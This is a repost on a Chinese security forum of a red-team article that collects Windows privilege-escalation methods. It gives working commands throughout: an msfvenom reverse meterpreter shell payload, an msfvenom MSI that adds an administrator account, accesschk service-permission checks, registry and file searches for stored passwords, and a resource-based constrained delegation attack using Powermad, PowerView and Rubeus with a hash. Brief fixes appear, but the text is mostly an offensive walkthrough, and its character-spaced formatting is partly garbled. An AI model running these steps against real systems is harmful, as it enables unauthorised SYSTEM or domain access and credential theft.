搜索

[18415] 2021-08-20_干货Windows提权方法汇总

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-08-20_干货Windows提权方法汇总 干 货 | W i n d o w s 提 权 方 法 汇 总 C o n s T 2 7   H A C K 之 道   2 0 2 1 - 0 8 - 2 0 收 录 于 话 题 # 渗 透 测 试   , 7 # 红 队 技 术   , 5 # w i n d o w s 提 权   , 1 一 一 .   无 引 号 服 务 路 径 无 引 号 服 务 路 径   （ （   T r u s t e d   S e r v i c e   P a t h s   ） ） 先 说 实 用 度 ， 比 较 被 动 ， 而 且 比 较 看 脸 。 W i n d o w s 下 服 务 的 权 限 通 常 是 S Y S T E M 。 如 果 我 们 能 够 替 换 服 务 的 启 动 程 序 为 我 们 的 恶 意 程 序 （ 如 反 弹 s h e l l ） ， 即 相 当 于 获 得 了 S Y S T E M 权 限 ， 达 到 了 提 权 的 目 的 。 无 引 号 服 务 路 径 有 可 能 会 导 致 这 种 情 况 的 发 生 。 所 谓 无 引 号 服 务 路 径 ， 就 是 服 务 启 动 程 序 的 路 径 中 包 含 了 空 格 且 未 被 引 号 包 含 起 来 。 比 如 这 样 C : P r o g r a m   F i l e s f l o d e r 1 s e r v i c e . e x e 因 为 空 格 的 存 在 ， W i n d o w s 在 启 动 服 务 找 寻 服 务 启 动 项 时 ， 它 会 按 照 以 下 顺 序 进 行 启 动 项 寻 找 C : P r o g r a m . e x e C : P r o g r a m   F i l e s S o m e . e x e C : P r o g r a m   F i l e s S o m e   F o l d e r S e r v i c e . e x e 这 就 给 了 我 们 有 机 可 乘 的 机 会 ： 如 果 我 们 在 服 务 的 上 层 目 录 有 写 入 或 完 全 控 制 权 限 ， 我 们 完 全 可 以 将 一 个 可 执 行 文 件 放 在 W i n d o w s 搜 寻 服 务 启 动 项 的 更 靠 前 顺 序 上 。 我 们 用 以 下 命 令 来 搜 索 哪 些 服 务 路 径 没 有 包 含 引 号 w m i c   s e r v i c e   g e t   n a m e , d i s p l a y n a m e , p a t h n a m e , s t a r t m o d e   | f i n d s t r   / i   " A u t o "   | f i n d s t r   / i   / v   " C : W i n d o w s "   | f i n d s t r   / i   / v   " " " 找 到 一 个 。 接 下 来 我 们 的 思 路 可 能 就 是 在 2 3 4 5 E x p l o r e r 目 录 下 创 建 一 个 P r o t e c t . e x e 了 ， 所 以 我 们 要 看 看 2 3 4 5 E x p l o r e r 目 录 我 们 的 权 限 如 何 。 先 来 一 手 w h o a m i   / a l l . 发 现 自 己 是 U s e r s 组 的 。
然 后 使 用 i c a c l s 命 令 查 看 在 2 3 4 5 E x p l o r e r 目 录 的 权 限 如 何 u s e r s 组 是 完 全 控 制 权 （ F ） ， 那 么 我 们 直 接 用 m s f v e n o m 构 造 一 个 反 弹 s h e l l 的 e x e 。 命 名 为 P r o t e c t . e x e ， 放 入 2 3 4 5 E x p l o r e r 目 录 。 我 这 里 随 便 编 码 了 一 下 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p   - e   x 8 6 / s h i k a t a _ g a _ n a i   L H O S T = 1 9 2 . 1 6 8 . 1 1 1 . 1 2 9   L P O R T = 1 0 0 6 8   - f   e x e   - o   P r o t e c t . e x e
然 后 我 们 现 在 是 没 有 能 力 重 启 服 务 的 。 。 只 能 等 管 理 员 重 启 服 务 或 者 机 子 重 启 。 然 后 就 拿 到 S Y S T E M 权 限 了 。 但 是 这 里 还 有 一 个 坑 点 ， 这 个 坑 点 是 如 果 一 个 服 务 启 动 后 在 一 定 时 间 内 未 与   S e r v i c e   C o n t r o l   M a n a g e r ( S C M )   通 讯 ， 就 会 被 停 止 。 所 以 我 们 要 在 拿 到 s h e l l 后 及 时 的 转 移 进 程 或 者 添 加 管 理 员 账 户 。 转 移 进 程 在 m s f 中 很 简 单 ， m e t e r p r e t e r 中 先 用 p s 查 看 进 程 ， 随 便 找 一 个 s y s t e m 权 限 ， 记 住 其 p i d ， 然 后   m i g r a t e   P I D   即 可 完 成 进 程 迁 移 。 下 面 来 说 说 防 治 方 法 吧 。 进 入 注 册 表 修 改 窗 口 ， 在   H K E Y _ L O C A L _ M A C H I N E   > >   S Y S T E M   > >   C u r r e n t C o n t r o l S e t   > >   S e r v i c e s   路 径 下 找 到 存 在 漏 洞 的 服 务 ， 修 改 其 I m a g e P a t h ， 把 路 径 前 后 加 个 引 号 就 可 了 。 二 二 .   易 受 攻 击 的 服 务 （ 易 受 攻 击 的 服 务 （ V u l n e r a b l e   S e r v i c e s   ） ） 同 样 看 脸 且 被 动 这 个 攻 击 方 法 大 致 分 两 类 1 . 替 换 服 务 的 二 进 制 文 件 。 这 个 方 法 较 为 简 单 ， 如 果 对 服 务 二 进 制 文 件 所 在 目 录 有 修 改 权 ， 那 么 我 们 完 全 可 以 创 建 一 个 恶 意 程 序 来 替 换 原 有 的 二 进 制 文 件 服 务 。 这 个 比 较 简 单 ， 而 且 基 本 上 攻 击 流 程 和 T r u s t e d   S e r v i c e   P a t h s 如 出 一 辙 ， 同 样 也 是 比 较 被 动 地 等 待 重 启 服 务 才 能 弹 s h e l l ， 就 不 再 演 示 了 。 2 . 修 改 服 务 的 属 性 。 如 果 我 们 能 修 改 服 务 的   B I N A R Y _ P A T H _ N A M E   属 性 （ 这 个 属 性 用 于 指 向 服 务 的 二 进 制 文 件 ） ， 我 们 就 可 以 通 过 设 置   B I N A R Y _ P A T H _ N A M E   的 值 为 系 统 命
令 ， 然 后 重 启 服 务 时 我 们 的 系 统 命 令 会 被 执 行 。 对 于 后 者 ， 我 们 需 要 一 款 工 具 来 快 速 揭 示 出 我 们 能 修 改 哪 些 服 务 的 属 性 。 这 个 工 具 我 们 采 用 a c c e s s c h k . e x e ， 它 是 微 软 产 出 的 ， 基 本 不 会 报 毒 。 我 们 通 过 该 工 具 执 行 以 下 命 令 a c c e s s c h k . e x e   - u w c q v   " A u t h e n t i c a t e d   U s e r s "   *   / a c c e p t e u l a o r a c c e s s c h k . e x e   - u w c q v   " U s e r s "   *   / a c c e p t e u l a 来 查 看 U s e r s 组 （ 根 据 实 际 情 况 来 填 哪 个 组 ） 对 哪 些 服 务 有 哪 些 权 限 如 果 对 某 个 服 务 有 s e r v i c e _ a l l _ a c c e s s 或 者 以 下 权 限 ， 就 说 明 能 对 其 属 性 进 行 修 改 。 比 如 我 们 对 S p o o l e r 服 务 有 s e r v i c e _ a l l _ a c c e s s 权 限 ， 我 们 就 可 以 这 样 做 。 通 过 修 改 其 b i n P a t h 为 恶 意 指 令 ， 然 后 等 待 管 理 员 重 启 服 务 ， 我 们 的 恶 意 指 令 就 会 被 执 行 。 三 三 .   A l w a y s I n s t a l l E l e v a t e d 如 果 w i n d o w s 启 用 了 如 下 注 册 表 项 [ H K E Y _ C U R R E N T _ U S E R S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s I n s t a l l e r ] “ A l w a y s I n s t a l l E l e v a t e d ” = d w o r d : 0 0 0 0 0 0 0 1   [ H K E Y _ L O C A L _ M A C H I N E S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s I n s t a l l e r ] “ A l w a y s I n s t a l l E l e v a t e d ” = d w o r d : 0 0 0 0 0 0 0 1 那 么 所 有 m s i （ w i n d o w s 应 用 安 装 程 序 ） 都 会 以 S Y S T E M 权 限 运 行 。 此 时 如 果 我 们 执 行 一 个 恶 意 m s i 程 序 ， 即 可 达 到 提 权 目 的
同 时 需 要 注 意 的 一 点 是 ， 这 个 注 册 表 项 不 一 定 总 是 存 在 的 。 （ 比 如 我 的 实 验 机 我 们 可 以 通 过 r e g   q u e r y 来 验 证 这 两 条 注 册 表 项 的 情 况 r e g   q u e r y   H K C U S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s I n s t a l l e r   / v   A l w a y s I n s t a l l E l e v a t e d r e g   q u e r y   H K L M S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s I n s t a l l e r   / v   A l w a y s I n s t a l l E l e v a t e d 若 均 为 1 ， 我 们 就 可 以 通 过 m s f v e n o m 生 成 恶 意 m s i 来 提 权 m s f v e n o m   - p   w i n d o w s / a d d u s e r   U S E R = r o t t e n a d m i n   P A S S = P @ s s w o r d 1 2 3 !   - f   m s i   - o   r o t t e n . m s i 然 后 执 行 ， 获 得 一 个 管 理 员 账 户 。 四 四 .   信 息 泄 露 信 息 泄 露 U n a t t e n d . x m l   s y s p r e p . x m l 和 s y s p r e p . i n f 文 件   存 在 着 一 定 信 息 泄 露 ， 他 们 通 常 存 在 于 以 下 路 径 C : W i n d o w s P a n t h e r C : W i n d o w s P a n t h e r U n a t t e n d C : W i n d o w s S y s t e m 3 2 C : W i n d o w s S y s t e m 3 2 s y s p r e p 找 到 后 ， 找 到   U n a t t e n d . x m l   文 件 中 的   标 签 。 就 有 可 能 找 到 用 户 的 加 密 后 的 密 码 。 。 < U s e r A c c o u n t s >         < L o c a l A c c o u n t s >                 < L o c a l A c c o u n t >                         < P a s s w o r d >                                 < V a l u e > U E B z c 3 d v c m Q x M j M h U G F z c 3 d v c m Q = < / V a l u e >   / / P A S S W O R D                                 < P l a i n T e x t > f a l s e < / P l a i n T e x t >                         < / P a s s w o r d >                         < D e s c r i p t i o n > L o c a l   A d m i n i s t r a t o r < / D e s c r i p t i o n >                         < D i s p l a y N a m e > A d m i n i s t r a t o r < / D i s p l a y N a m e >                         < G r o u p > A d m i n i s t r a t o r s < / G r o u p >                         < N a m e > A d m i n i s t r a t o r < / N a m e >                 < / L o c a l A c c o u n t >         < / L o c a l A c c o u n t s > < / U s e r A c c o u n t s > 一 些 敏 感 文 件 查 询 指 令 C : U s e r s u s e r D e s k t o p >   d i r   C :   / s   / b   / c   |   f i n d s t r   / s r   * p a s s w o r d * r e g   q u e r y   H K L M   / f   p a s s w o r d   / t   R E G _ S Z   / s r e g   q u e r y   H K C U   / f   p a s s w o r d   / t   R E G _ S Z   / s G P P . x m l
五 五 .   基 于 资 源 的 域 委 派 攻 击 基 于 资 源 的 域 委 派 攻 击 r e f e r : h t t p s : / / x z . a l i y u n . c o m / t / 7 4 5 4 原 理 的 几 个 点 ： 原 理 的 几 个 点 ： 1 . S 4 U 2 S E L F   协 议 可 以 在 用 户 没 有 配 置   T r u s t e d T o A u t h e n t i c a t i o n F o r D e l e g a t i o n   属 性 （ 即 开 启 使 用 任 何 协 议 认 证 的 约 束 性 委 派 ） 时 被 调 用 ， 但 是 返 回 的 S T 是 不 可 被 转 发 的 。 2 . 基 于 资 源 的 约 束 性 委 派 主 机   在 被 另 一 台 主 机 委 派 访 问 时 ， 在 S 4 U 2 P R O X Y 过 程 中 提 交 过 来 的 S T 如 果 即 使 是 不 可 转 发 的 。 K D C 依 旧 会 返 回 有 效 的 S T 2 。 3 . 每 个 普 通 域 用 户 默 认 可 以 创 建 至 多 十 个 机 器 账 户 （   由 M a c h i n e A c c o u n t Q u o t a 属 性 决 定   ） ， 每 个 机 器 账 户 被 创 建 时 都 会 自 动 注 册 S P N :   和 这 两 个 S P N 攻 击 流 程 攻 击 流 程 : 假 设 开 启 基 于 资 源 的 约 束 性 委 派 机 器 为 A 1 . 首 先 要 有 一 个 对 当 前 计 算 机 有 写 权 限 的 账 户 ， 才 能 对 A 设 置 可 以   被   委 派 访 问 的 服 务 账 户 。 2 . 利 用 当 前 账 户 创 建 一 个 机 器 账 户 ， 并 配 置 好 机 器 账 户 到 A 的   基 于 资 源 的 约 束 性 委 派 3 . 因 为 机 器 账 户 是 我 们 创 建 的 ， 我 们 知 道 他 的 密 码 账 户 ， 可 以 让 它 利 用 S 4 U 2 S E L F 协 议 获 得 一 个 不 可 转 发 S T 。 然 后 用 这 个 不 可 转 发 S T 通 过 S 4 U 2 P R O X Y ， 在 基 于 资 源 的 约 束 性 委 派 基 础 上 获 得 有 效 的 访 问 A   c i f s 服 务 的 S T 2 。 4 . 用 S T 2 访 问 A 的 C I F S 服 务 ， 权 限 获 得 。 实 操 实 操 这 个 攻 击 说 白 了 就 是 个 提 权 … 首 先 我 们 检 查 一 下 域 控 是 否 是 w i n 2 0 1 2 以 上 的 主 机 ， 因 为 只 有 这 样 才 能 开 启   基 于 资 源 的 约 束 性 委 派 。 我 们 使 用 p o w e r s p l o i t 下 的 p o w e r v i e w 脚 本 。 执 行 命 令   g e t - n e t d o m a i n c o n t r o l l e r 可 以 获 得 域 控 W I N 版 本 然 后 我 们 查 看 当 前 用 户 对 哪 台 主 机 有 写 权 限 。 因 为 是 实 验 ， 所 以 我 们 先 来 看 看 怎 么 配 置 一 个 用 户 对 一 个 机 器 的 权 限 。 直 接 在 域 控 上 找 到 某 主 机 ， 然 后 进 入 在 属 性 里 进 入 安 全 选 项 卡 ， 添 加 某 用 户 ， 然 后 给 这 个 用 户 分 配 权 限 即 可 。 R e s t r i c t e d K r b H o s t / d o m a i n H O S T / d o m a i n
我 们 依 旧 使 用 p o w e r v i e w 。 先 调 用 来 获 取 当 前 用 户 S I D 然 后   查 看 当 前 用 户 对 某 台 主 机 是 否 有 写 权 限 。 如 果 有   G e n e r i c A l l （ 完 全 控 制 权 ） ， G e n e r i c W r i t e 、 W r i t e P r o p e r t y 、 W r i t e D a c l   这 些 属 性 ， 就 说 明 该 用 户 能 修 改 计 算 机 的 账 户 属 性 。 如 图 看 到 我 们 对 W I N 7 进 行 操 作 好 的 ， 我 们 接 下 来 就 要 创 立 一 个 机 器 用 户 了 。 根 据 网 上 搜 索 结 果 ， 使 用 p o w e r m a d 这 个 p s 脚 本 可 以 很 快 捷 的 创 建 一 个 机 器 用 户 。 h t t p s : / / g i t h u b . c o m / K e v i n - R o b e r t s o n / P o w e r m a d I m p o r t - M o d u l e   . P o w e r m a d . p s 1 N e w - M a c h i n e A c c o u n t   - M a c h i n e A c c o u n t   h a c k s y s t e m   - P a s s w o r d   $ ( C o n v e r t T o - S e c u r e S t r i n g   " h a c k "   - A s P l a i n T e x t   - F o r c e ) 好 的 ， 我 们 添 加 了 一 个 密 码 h a c k ， 名 为 h a c k s y s t e m 的 机 器 账 户 ， 接 下 来 就 是 配 置 h a c k s y s t e m 到 W I N 7 的 委 派 了 。 我 们 需 要 做 的 ， 是 修 改 W I N 7 的   G e t - D o m a i n U s e r   - I d e n t i t y   u s e r n a m e   - P r o p e r t i e s   o b j e c t s i d G e t - D o m a i n O b j e c t A c l   - I d e n t i t y   主 机 名   |   ? { $ _ . S e c u r i t y I d e n t i f i e r   - m a t c h   " 刚 刚 得 到 的 S I D " }
属 性 的 值   ， 这 个 操 作 我 们 用 p o w e r v i e w 实 现 。 $ S D   =   N e w - O b j e c t   S e c u r i t y . A c c e s s C o n t r o l . R a w S e c u r i t y D e s c r i p t o r   - A r g u m e n t L i s t   " O : B A D : ( A ; ; C C D C L C S W R P W P D T L O C R S D R C W D W O ; ; ; S - 1 - 5 - 2 1 - 3 2 9 8 6 3 8 1 0 6 - 3 3 2 1 8 3 3 0 0 0 - 1 5 7 1 7 9 1 9 7 9 - 1 1 1 2 ) "     # 这 儿 的 s i d 是 我 们 创 建 的 # 机 器 用 户 # e v i l s y s t e m 的 s i d $ S D B y t e s   =   N e w - O b j e c t   b y t e [ ]   ( $ S D . B i n a r y L e n g t h ) $ S D . G e t B i n a r y F o r m ( $ S D B y t e s ,   0 ) G e t - D o m a i n C o m p u t e r   W I N 7 |   S e t - D o m a i n O b j e c t   - S e t   @ { ' m s d s - a l l o w e d t o a c t o n b e h a l f o f o t h e r i d e n t i t y ' = $ S D B y t e s }   - V e r b o s e 至 于 机 器 账 户 S I D 怎 么 获 得 ， p o w e r v i e w 下 的   然 后 使 用   查 看 委 派 是 否 设 置 成 功 此 命 令 可 以 清 除   m s d s - a l l o w e d t o a c t o n b e h a l f o f o t h e r i d e n t i t y 属 性 的 值 现 在 都 统 统 设 置 好 了 ， 开 始 下 一 步 吧 。 网 上 一 般 用 的 r u b e u s ， 这 里 我 用 k e k e o 吧 R u b e u s . e x e   h a s h   / u s e r : x x x   / p a s s w o r d : x x x   / d o m a i n : x x x 本 地 运 算 出 机 器 用 户 n t l m   h a s h   这 里 借 用 一 下 别 人 的 图 m s D S - A l l o w e d T o A c t O n B e h a l f O f O t h e r I d e n t i t y g e t - d o m i a n c o m p u t e r   h a c k s y s t e m G e t - D o m a i n C o m p u t e r   W I N 7   - P r o p e r t i e s   m s d s - a l l o w e d t o a c t o n b e h a l f o f o t h e r i d e n t i t y S e t - D o m a i n O b j e c t   w i n 7   - C l e a r   ' m s d s - a l l o w e d t o a c t o n b e h a l f o f o t h e r i d e n t i t y '   - V e r b o s e  
  写 入 票 据 然 后 我 在 本 机 使 用 以 上 方 法 后 k l i s t 一 下 ， 发 现 确 实 存 在 票 据 但 是 d i r   t e s t 1 c $ 时 本 机 莫 名 其 妙 不 能 进 行 k e r b e r o s 验 证 ， 我 服 了 》 。 。 但 不 管 怎 样 ， 我 们 拿 到 银 票 了 敏 感 用 户 不 可 委 派 的 绕 过 敏 感 用 户 不 可 委 派 的 绕 过 R u b e u s . e x e   s 4 u   / u s e r : e v i l s y s t e m $   / r c 4 : B 1 7 3 9 F 7 F C 8 3 7 7 E 2 5 C 7 7 C F A 2 D F B D C 3 E C 7   / i m p e r s o n a t e u s e r : a d m i n i s t r a t o r   / m s d s s p n : c i f s / d m 2 0 0 8   / p t t
若 我 们 的 a d m i n i s t r a t o r 用 户 被 设 置 为 敏 感 用 户 不 可 委 派 或 者 被 加 入 保 护 组 ， 按 理 说 他 的 访 问 就 不 能 进 行 委 派 。 我 们 在 以 a d m i n i s t r a t o r 账 户 身 份 进 行 S 4 U 时 ， 只 能 进 行 S 4 U 2 S E L F ， 不 能 进 行 S 4 U 2 P R O X Y 。 我 们 用   继 续 实 验 a d m i n i s t r a t o r ， 发 现 确 实 是 这 样 R u b e u s . e x e   s 4 u   / u s e r : e v i l s y s t e m $   / r c 4 : B 1 7 3 9 F 7 F C 8 3 7 7 E 2 5 C 7 7 C F A 2 D F B D C 3 E C 7   / i m p e r s o n a t e u s e r : a d m i n i s t r a t o r   / m s d s s p n : c i f s / d m 2 0 0 8   / p t t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理